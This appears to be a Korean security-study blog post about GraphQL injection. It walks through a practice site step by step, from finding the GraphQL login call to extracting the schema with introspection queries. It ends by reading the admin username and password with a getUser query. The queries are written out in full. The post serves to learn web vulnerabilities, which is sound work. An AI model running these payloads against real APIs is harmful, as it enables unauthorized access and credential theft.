Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

Graphql Injection 본문

WEB

Graphql Injection

{{HW}} 2025. 11. 3. 13:54

 

OWASP Top 10의 A03번 항목인 Injection에 해당하는 취약점을 Graphql Injection을 공부했습니다.

SQL 인젝션으로 데이터베이스를 추출하는 취약점이 대부분이나 많은 웹들은 다양하게 데이터베이스를 호출하는 방식을 사용하는데 graphql api로 호출해 웹사이트에 로그인, 게시판, 그 외 데이터들을 불러오는 방식도 존재했습니다.

 

 

 
 

 

Graphql Injection 이란?

GraphQL을 사용하는 API에서 발생하는 보안 취약점 공격 기법입니다. 이는 공격자가 악의적으로 조작된 GraphQL 쿼리를 전송하여, 의도치 않은 데이터를 탈취하거나 서버에 과부하를 일으키거나, 백엔드 시스템의 민감한 정보에 접근하는 것을 목표로 합니다.

 

해당 쿼리문은 사용자에 대한 데이터만 반환해야 하며, API 권한을 확인하지 않으면 공격자가 모든 사용자에게 접근하도록 쿼리를 수정할 수 있습니다.

API에 적절한 엑세스 제어가 없으면 이메일과 해시된 비밀번호를 포함한 모든 사용자 세부 정보가 반환될 수 있습니다.

{
  users {
    id
    name
    email
    password
  }
}

 

 

 

Step 1) Graphql API 호출 지점 확인

실습 사이트의 로그인 페이지에서 로그인을 시도 후 통신 구간을 확인함.

통신 구간을 확인하면 graphql api를 호출하고 있으며, username과 password 입력 후 인증이 되면 token,success 여부를 반환하도록 쿼리문이 작성되어 있다.

 

 

Step 2) Introspection query 삽입

해당 query문 삽입 지점에서 Introspection query를 삽입 시 서버의 스키마를 추출가능함.

* graphql API에서 스키마(Schema)에 대한 메타데이터, 즉 API가 제공하는 데이터 타입, 필드,오퍼레이션 등의 정보를 요청하는 쿼리이다.

{__schema{types{name}}}

 

 

 

DB 스키마 전체 추출하는 쿼리문 삽입 시 사용자 데이터로 추측되는 "User" 스키마 타입이 존재함.

"User" 스키마 타입은 "getUser" 스키마를 사용함.

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
 
 
-> "getUser"스키마의 타입 중 "User"가 존재하고 ID, PW 데이터를 가지고 있을거라 추측함.(SQL에서 테이블, 칼럼으로 생각하면 편함.)
 
 

 

 

Step 3) ID, PW 값 추출 시도

따로 "User" 스키마 타입이 가지고 있는 데이터들을 추출이 가능하며, "username", "password" 값이 존재함.

 

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

 

 
 
"getUser" 스키마 값의 "User" 필드에 있는 데이터들을 추출하면 관리자 계정을 알아낼 수 있다.
{getUser (id: 1) {username password}}

 

 

'WEB' 카테고리의 다른 글

HTTP 메서드 스푸핑(HTTP Method Spoofing)  (1) 2025.11.06
CSRF 취약점 - csrf 토큰 검증 결함  (0) 2025.11.04